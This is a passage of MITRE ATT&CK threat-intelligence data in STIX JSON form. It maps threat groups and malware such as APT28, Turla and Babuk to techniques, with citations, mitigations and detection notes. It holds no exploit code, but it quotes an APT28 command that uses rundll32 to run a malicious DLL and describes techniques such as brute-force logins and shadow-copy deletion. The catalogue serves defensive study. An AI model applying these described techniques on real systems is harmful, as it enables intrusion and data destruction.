Group-3390](https://attack.mitre.org/groups/G0027) has exploited the Microsoft SharePoint vulnerability CVE-2019-0604 and CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065 in Exchange Server.(Citation: Trend Micro Iron Tiger April 2021)","modified":"2022-04-15T14:02:03.777Z","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0e58b447-7b3e-404c-b8e5-003734c34574","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto MoonWind March 2017","description":"Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.","url":"http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/"}],"modified":"2020-03-16T17:16:53.457Z","description":"[MoonWind](https://attack.mitre.org/software/S0149) has a keylogger.(Citation: Palo Alto MoonWind March 2017)","relationship_type":"uses","source_ref":"malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--76ff48d5-a341-431b-8653-1b1ad93ae435","type":"relationship","created":"2020-03-30T20:03:17.541Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html","source_name":"FireEye TRITON 2019"}],"modified":"2020-03-30T20:03:17.541Z","description":"[TEMP.Veles](https://attack.mitre.org/groups/G0088) has used port-protocol mismatches on ports such as 443, 4444, 8531, and 50501 during C2.(Citation: FireEye TRITON 2019)","relationship_type":"uses","source_ref":"intrusion-set--9538b1a4-4120-4e2d-bf59-3b11fcab05a4","target_ref":"attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0b9a4cdc-8305-49ec-879f-6cfa35763af2","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/blogs/threat-intelligence/jrat-new-anti-parsing-techniques","description":"Sharma, R. (2018, August 15). Revamped jRAT Uses New Anti-Parsing Techniques. Retrieved September 21, 2018.","source_name":"jRAT Symantec Aug 2018"},{"source_name":"Kaspersky Adwind Feb 2016","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf","description":"Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019."}],"modified":"2020-03-16T17:01:17.809Z","description":"[jRAT](https://attack.mitre.org/software/S0283) has the capability to log keystrokes from the victim’s machine, both offline and online.(Citation: jRAT Symantec Aug 2018)(Citation: Kaspersky Adwind Feb 2016)","relationship_type":"uses","source_ref":"malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bc7f00a2-ba1c-428a-ba8f-174703389c73","type":"relationship","created":"2020-09-22T20:17:38.750Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks REvil September 2019","url":"https://www.secureworks.com/research/revil-sodinokibi-ransomware","description":"Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020."}],"modified":"2020-10-06T15:23:45.908Z","description":"[GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) has used publicly-accessible RDP and remote management and monitoring (RMM) servers to gain access to victim machines.(Citation: Secureworks REvil September 2019)\t","relationship_type":"uses","source_ref":"intrusion-set--c77c5576-ca19-42ed-a36f-4b4486a84133","target_ref":"attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--efafd777-c53d-4459-8765-2e5e44cd0ea1","type":"relationship","created":"2020-01-30T17:37:22.734Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2022-04-01T12:57:33.945Z","description":"File encryption should be enforced across email communications containing sensitive information that may be obtained through access to email services.","relationship_type":"mitigates","source_ref":"course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157","target_ref":"attack-pattern--f005e783-57d4-4837-88ad-dbe7faee1c51","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6b9778e3-14f7-4609-8621-d24e2a40c032","type":"relationship","created":"2021-05-26T14:04:01.283Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"BlackBerry CostaRicto November 2020","url":"https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced","description":"The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021."},{"source_name":"FireEye FiveHands April 2021","url":"https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html","description":"McLellan, T.  and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021."}],"modified":"2021-06-02T15:06:02.321Z","description":"[SombRAT](https://attack.mitre.org/software/S0615) has the ability to use TCP sockets to send data and ICMP to ping the C2 server.(Citation: BlackBerry CostaRicto November 2020)(Citation: FireEye FiveHands April 2021)","relationship_type":"uses","source_ref":"malware--425771c5-48b4-4ecd-9f95-74ed3fc9da59","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7fcd4b9b-87e3-4e8c-abde-84639c85467f","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf","description":"ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.","source_name":"ESET Turla Mosquito Jan 2018"},{"url":"https://www.welivesecurity.com/2018/05/22/turla-mosquito-shift-towards-generic-tools/","description":"ESET Research. (2018, May 22). Turla Mosquito: A shift towards more generic tools. Retrieved July 3, 2018.","source_name":"ESET Turla Mosquito May 2018"}],"modified":"2020-03-20T21:32:36.789Z","description":"A [Turla](https://attack.mitre.org/groups/G0010) JavaScript backdoor has used Google Apps Script as its C2 server.(Citation: ESET Turla Mosquito Jan 2018)(Citation: ESET Turla Mosquito May 2018)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5682d524-80f0-4fd8-9960-6f54eeafce96","type":"relationship","created":"2017-05-31T21:33:27.045Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/the-epic-turla-operation/65545/","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.","source_name":"Kaspersky Turla"}],"modified":"2020-03-24T20:13:40.075Z","description":"[Turla](https://attack.mitre.org/groups/G0010) may attempt to connect to systems within a victim's network using <code>net use</code> commands and a predefined list or collection of passwords.(Citation: Kaspersky Turla)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8f269f6c-9e8b-4296-ab47-2f60c9156b58","type":"relationship","created":"2017-05-31T21:33:27.038Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike DNC June 2016","description":"Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.","url":"https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/"},{"source_name":"Bitdefender APT28 Dec 2015","description":"Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.","url":"https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf"},{"source_name":"Palo Alto Sofacy 06-2018","description":"Lee, B., Falcone, R. (2018, June 06). Sofacy Group’s Parallel Attacks. Retrieved June 18, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/"},{"url":"https://pan-unit42.github.io/playbook_viewer/","description":"Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.","source_name":"Unit 42 Playbook Dec 2017"},{"description":"ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.","url":"https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/","source_name":"ESET Zebrocy May 2019"},{"source_name":"Cybersecurity Advisory GRU Brute Force Campaign July 2021","url":"https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF","description":"NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021."}],"modified":"2021-07-27T13:30:22.327Z","description":"[APT28](https://attack.mitre.org/groups/G0007) executed [CHOPSTICK](https://attack.mitre.org/software/S0023) by using rundll32 commands such as <code>rundll32.exe “C:\\Windows\\twain_64.dll”</code>. [APT28](https://attack.mitre.org/groups/G0007) also executed a .dll for a first stage dropper using rundll32.exe. An [APT28](https://attack.mitre.org/groups/G0007) loader Trojan saved a batch script that uses rundll32 to execute a DLL payload.(Citation: Crowdstrike DNC June 2016)(Citation: Bitdefender APT28 Dec 2015)(Citation: Palo Alto Sofacy 06-2018)(Citation: Unit 42 Playbook Dec 2017)(Citation: ESET Zebrocy May 2019)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--37dd9a3c-dd52-4541-be7c-b490d026305c","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf","description":"Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. 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Retrieved June 2, 2021."}],"modified":"2021-06-03T19:52:01.118Z","description":"[DEATHRANSOM](https://attack.mitre.org/software/S0616) has the ability to use WMI to delete volume shadow copies.(Citation: FireEye FiveHands April 2021)","relationship_type":"uses","source_ref":"malware--6de9cad1-eed2-4e27-b0b5-39fa29349ea0","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cea07509-b84d-4b25-b9e8-758a8e66b3f1","type":"relationship","created":"2020-10-15T12:05:58.901Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cisco ARP Poisoning Mitigation 2016","url":"https://www.cisco.com/c/en/us/products/collateral/switches/catalyst-6500-series-switches/white_paper_c11_603839.html","description":"King, J., Lauerman, K. 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Retrieved October 15, 2020."}],"modified":"2021-07-28T01:04:39.490Z","description":"Consider enabling DHCP Snooping and Dynamic ARP Inspection on switches to create mappings between IP addresses requested via DHCP and ARP tables and tie the values to a port on the switch that may block bogus traffic.(Citation: Cisco ARP Poisoning Mitigation 2016)(Citation: Juniper DAI 2020)","relationship_type":"mitigates","source_ref":"course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d","target_ref":"attack-pattern--cabe189c-a0e3-4965-a473-dcff00f17213","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c4a2a14a-6fb0-46cf-b97d-c4bcb1c751a7","type":"relationship","created":"2019-02-12T16:33:29.291Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Zebrocy Nov 2018","url":"https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/","description":"ESET. (2018, November 20). Sednit: What’s going on with Zebrocy?. Retrieved February 12, 2019."}],"modified":"2020-03-17T15:13:26.623Z","description":"[Zebrocy](https://attack.mitre.org/software/S0251) stores all collected information in a single file before exfiltration.(Citation: ESET Zebrocy Nov 2018)","relationship_type":"uses","source_ref":"malware--a4f57468-fbd5-49e4-8476-52088220b92d","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f9d59358-17e0-44fe-8d59-fd534c9afc6b","type":"relationship","created":"2022-03-30T14:26:51.871Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.871Z","description":"Monitoring changes to the Windows Registry may reveal malicious attempts to modify trust settings, such as the installation of root certificates. Installed root certificates are located in the Registry under <code>HKLM\\SOFTWARE\\Microsoft\\EnterpriseCertificates\\Root\\Certificates\\</code> and </code>[HKLM or HKCU]\\Software[\\Policies\\]\\Microsoft\\SystemCertificates\\Root\\Certificates\\</code>. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison: (Citation: Tripwire AppUNBlocker) Also consider enabling the Registry Global Object Access Auditing (Citation: Microsoft Registry Auditing Aug 2016) setting in the Advanced Security Audit policy to apply a global system access control list (SACL) and event auditing on modifications to Registry values (sub)keys related to SIPs and trust providers:(Citation: Microsoft Audit Registry July 2012) ","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Tripwire AppUNBlocker","description":"Smith, T. (2016, October 27). AppUNBlocker: Bypassing AppLocker. Retrieved December 19, 2017.","url":"https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/"},{"source_name":"Microsoft Registry Auditing Aug 2016","description":"Microsoft. (2016, August 31). Registry (Global Object Access Auditing). Retrieved January 31, 2018.","url":"https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11)"},{"source_name":"Microsoft Audit Registry July 2012","description":"Microsoft. (2012, July 2). Audit Registry. Retrieved January 31, 2018.","url":"https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10)"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--118c566e-2042-4566-99c2-308351d50a40","type":"relationship","created":"2020-12-29T19:07:21.930Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-259A Iran-Based Actor September 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-259a","description":"CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."}],"modified":"2020-12-29T19:07:21.930Z","description":"[Fox Kitten](https://attack.mitre.org/groups/G0117) has obtained files from the victim's cloud storage instances.(Citation: CISA AA20-259A Iran-Based Actor September 2020)","relationship_type":"uses","source_ref":"intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee","target_ref":"attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--438d3e9d-2a1d-48ba-b615-8ccb502dd15e","type":"relationship","created":"2021-03-02T18:16:41.018Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AppleJeus Feb 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-048a","description":"Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea’s Cryptocurrency Malware. Retrieved March 1, 2021."}],"modified":"2021-03-03T21:21:26.836Z","description":"[AppleJeus](https://attack.mitre.org/software/S0584) has sent data to its C2 server via <code>POST</code> requests.(Citation: CISA AppleJeus Feb 2021)","relationship_type":"uses","source_ref":"malware--e2d34c63-6f5a-41f5-86a2-e2380f27f858","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d811c17d-5ed4-4218-b1c9-280e332e30e2","type":"relationship","created":"2021-07-27T15:05:31.308Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybersecurity Advisory GRU Brute Force Campaign July 2021","url":"https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF","description":"NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021."}],"modified":"2021-08-31T17:00:18.600Z","description":"[APT28](https://attack.mitre.org/groups/G0007) has used [Tor](https://attack.mitre.org/software/S0183) and a variety of commercial VPN services to route brute force authentication attempts.(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a084527d-2858-4037-bc48-68c1eac85acb","type":"relationship","created":"2019-07-19T17:14:24.011Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Soft Cell June 2019","url":"https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers","description":"Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019."}],"modified":"2020-03-30T02:00:04.423Z","description":"[GALLIUM](https://attack.mitre.org/groups/G0093) used a modified version of [HTRAN](https://attack.mitre.org/software/S0040) to redirect connections between networks.(Citation: Cybereason Soft Cell June 2019)","relationship_type":"uses","source_ref":"intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258","target_ref":"attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fb819161-4916-4f25-ad81-eab9f02a337e","type":"relationship","created":"2021-08-12T15:54:43.288Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Babuk February 2021","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-babuk-ransomware.pdf","description":"Mundo, A. et al. (2021, February). Technical Analysis of Babuk Ransomware. Retrieved August 11, 2021."},{"source_name":"Trend Micro Ransomware February 2021","url":"https://www.trendmicro.com/en_us/research/21/b/new-in-ransomware.html","description":"Centero, R. et al. (2021, February 5). New in Ransomware: Seth-Locker, Babuk Locker, Maoloa, TeslaCrypt, and CobraLocker. Retrieved August 11, 2021."}],"modified":"2021-08-13T14:53:17.409Z","description":"[Babuk](https://attack.mitre.org/software/S0638) has the ability to enumerate files on a targeted system.(Citation: McAfee Babuk February 2021)(Citation: Trend Micro Ransomware February 2021)","relationship_type":"uses","source_ref":"malware--61c7a91a-0b83-461d-ad32-75d96eed4a09","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--65adbdda-7069-40ed-9825-b79ec87e4916","type":"relationship","created":"2021-09-21T15:47:37.522Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"IBM Ransomware Trends September 2020","url":"https://securityintelligence.com/posts/ransomware-2020-attack-trends-new-techniques-affecting-organizations-worldwide/","description":"Singleton, C. and Kiefer, C. (2020, September 28). Ransomware 2020: Attack Trends Affecting Organizations Worldwide. Retrieved September 20, 2021."},{"source_name":"CrowdStrike Carbon Spider August 2021","url":"https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/","description":"Loui, E. and Reynolds, J. (2021, August 30). CARBON SPIDER Embraces Big Game Hunting, Part 1. Retrieved September 20, 2021."},{"source_name":"FBI Flash FIN7 USB","url":"https://therecord.media/fbi-fin7-hackers-target-us-companies-with-badusb-devices-to-install-ransomware/","description":"The Record. (2022, January 7). FBI: FIN7 hackers target US companies with BadUSB devices to install ransomware. Retrieved January 14, 2022."}],"modified":"2022-01-14T17:29:16.633Z","description":"(Citation: IBM Ransomware Trends September 2020)(Citation: CrowdStrike Carbon Spider August 2021)(Citation: FBI Flash FIN7 USB)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--711879b6-a9ac-42c6-a6a0-244b03890cec","type":"relationship","created":"2020-11-30T16:01:32.332Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Bazar July 2020","url":"https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles","description":"Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9’S DEVELOPMENT CYCLES. Retrieved November 18, 2020."},{"source_name":"Zscaler Bazar September 2020","url":"https://www.zscaler.com/blogs/research/spear-phishing-campaign-delivers-buer-and-bazar-malware","description":"Sadique, M. and Singh, A. (2020, September 29). Spear Phishing Campaign Delivers Buer and Bazar Malware. Retrieved November 19, 2020."}],"modified":"2020-11-30T16:01:32.332Z","description":"The [Bazar](https://attack.mitre.org/software/S0534) loader is used to download and execute the [Bazar](https://attack.mitre.org/software/S0534) backdoor.(Citation: Cybereason Bazar July 2020)(Citation: Zscaler Bazar September 2020)","relationship_type":"uses","source_ref":"malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0","target_ref":"attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--03fcc016-f9a2-491d-8d9f-92aa4b4c4d4a","type":"relationship","created":"2019-06-17T19:35:16.095Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Parys, B. (2017, February 11). The KeyBoys are back in town. Retrieved June 13, 2019.","url":"https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/the-keyboys-are-back-in-town.html","source_name":"PWC KeyBoys Feb 2017"}],"modified":"2020-05-29T03:23:28.167Z","description":"[Tropic Trooper](https://attack.mitre.org/groups/G0081) has installed a service pointing to a malicious DLL dropped to disk.(Citation: PWC KeyBoys Feb 2017)","relationship_type":"uses","source_ref":"intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7dee0645-9c39-4e04-8012-6ae10a449ae9","type":"relationship","created":"2020-09-11T13:27:44.380Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cyberreason Anchor December 2019","url":"https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware","description":"Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."}],"modified":"2020-09-11T13:27:44.380Z","description":"[TrickBot](https://attack.mitre.org/software/S0266) has been delivered via malicious links in phishing e-mails.(Citation: Cyberreason Anchor December 2019)","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ab55f99b-5239-4aea-93f7-e1002520bf05","type":"relationship","created":"2021-09-21T15:10:56.106Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks GOLD KINGSWOOD September 2018","url":"https://www.secureworks.com/blog/cybercriminals-increasingly-trying-to-ensnare-the-big-financial-fish","description":"CTU. (2018, September 27). Cybercriminals Increasingly Trying to Ensnare the Big Financial Fish. Retrieved September 20, 2021."}],"modified":"2021-09-21T15:10:56.106Z","description":"[SpicyOmelette](https://attack.mitre.org/software/S0646) has the ability to execute arbitrary JavaScript code on a compromised host.(Citation: Secureworks GOLD KINGSWOOD September 